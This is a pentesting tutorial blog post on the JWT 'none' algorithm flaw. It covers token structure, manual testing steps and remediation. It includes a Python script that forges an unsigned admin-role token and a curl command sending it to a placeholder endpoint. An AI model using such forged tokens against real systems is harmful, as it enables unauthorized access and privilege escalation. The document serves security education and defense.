Learn Pentesting: A Deep Dive into JWT None Algorithm Vulnerability Testing

In this post, we’ll take an in-depth look at one of the classic JWT vulnerabilities – the misuse of the “none” algorithm – and demonstrate how to manually test for it during web-application penetration tests. This tutorial is intended for penetration testers and security professionals who want to understand both the theory and practical exploitation of JWT misconfigurations. We’ll cover the JWT structure, the nature of the vulnerability, and provide code examples and step-by-step instructions for manual testing.


Understanding JWT Basics

JSON Web Tokens (JWT) are an open standard (RFC 7519) used to securely transmit information between parties. A typical JWT consists of three parts:

A JWT typically looks like this:

<base64url(header)>.<base64url(payload)>.<base64url(signature)>

For example, the header may look like this in JSON:

{
  "alg": "HS256",
  "typ": "JWT"
}

And the payload might be:

{
  "sub": "1234567890",
  "name": "John Doe",
  "iat": 1516239022
}

The None Algorithm Vulnerability

What Is the None Algorithm?

The JWT specification allows for a special algorithm type, "none", which indicates that no digital signature or Message Authentication Code (MAC) is used. In a correctly implemented system, this option should either be disallowed or handled with extreme caution.

How the Vulnerability Arises

In some implementations, especially in older or misconfigured JWT libraries, the "none" algorithm can be exploited to bypass signature verification. An attacker can craft a token where:

If the application does not enforce a strict verification of the algorithm, it might accept the token without verifying its integrity. This allows the attacker to arbitrarily modify the payload, such as elevating privileges (e.g., changing "role": "user" to "role": "admin").


Manual Testing Methodology

When manually testing for the JWT none algorithm vulnerability, the following steps are typically involved:

  1. Capture a Legitimate JWT:
    Identify and capture a valid JWT from the application. This can be done through intercepting traffic via a proxy like Burp Suite.

  2. Decode the JWT:
    Use a JWT decoder (online tools or local scripts) to inspect the header and payload.

  3. Modify the Token:

    • Change the header’s alg value to "none".
    • Optionally, modify the payload (e.g., set "role": "admin").
    • Remove the signature part from the token.
  4. Re-encode the Token:
    Base64-encode the modified header and payload, then concatenate them with a trailing period to represent the empty signature.

  5. Send the Modified Token:
    Replace the original token in your HTTP requests with the crafted token and observe the application’s response.

  6. Analyze the Outcome:
    Look for changes in authorization, access to restricted areas, or other anomalous behaviors that indicate the application accepted the token without proper signature verification.


Crafting a JWT with the None Algorithm

Below is an example using Python to craft a JWT with the "none" algorithm manually:

import base64
import json

def base64url_encode(data: bytes) -> str:
    """Encode bytes to base64url string without padding."""
    return base64.urlsafe_b64encode(data).decode().rstrip("=")

# Define a header with 'none' algorithm and a typical payload.
header = {"alg": "none", "typ": "JWT"}
payload = {
    "sub": "1234567890",
    "name": "attacker",
    "role": "admin",  # escalate privileges if possible
    "iat": 1516239022
}

# Convert header and payload to JSON, then base64url encode.
encoded_header = base64url_encode(json.dumps(header).encode())
encoded_payload = base64url_encode(json.dumps(payload).encode())

# Construct the token without a signature.
jwt_none_token = f"{encoded_header}.{encoded_payload}."
print("Crafted JWT with none algorithm:")
print(jwt_none_token)

Explanation

This script prints a crafted token that can be used in your testing.


Testing the Exploit with cURL

Once you have the crafted JWT, you can test it against a vulnerable endpoint. Suppose the endpoint is https://vulnerable-app.example.com/api/protected and the JWT is normally passed in the Authorization header. Here’s how you might use cURL to test it:

# Replace <crafted_token> with the output from the Python script.
curl -H "Authorization: Bearer <crafted_token>" https://vulnerable-app.example.com/api/protected

What to Look For


Remediation and Best Practices

For Developers and Security Teams

  1. Disable the None Algorithm:
    Ensure that your JWT libraries or frameworks are configured to reject tokens with "alg": "none" unless explicitly intended for non-production use.

  2. Enforce Algorithm Whitelisting:
    Only allow a predetermined list of secure algorithms (e.g., HS256, RS256) during token verification.

  3. Regular Security Audits:
    Continuously review and test JWT implementations as part of your secure development lifecycle.

  4. Library Updates:
    Keep your JWT libraries up-to-date to mitigate known vulnerabilities.

For Penetration Testers


Conclusion

The JWT none algorithm vulnerability is a classic example of how misconfigurations in token-based authentication can lead to severe security issues. By understanding the JWT structure and manually testing for the vulnerability, penetration testers can identify and help remediate potential security flaws in web applications.

We hope this detailed exploration serves as a valuable reference in your ongoing “Learn Pentesting” journey. Stay vigilant and keep testing!

Ready to see how Numorian can help your business?

Contact us today to learn more about our services and how we can support your business.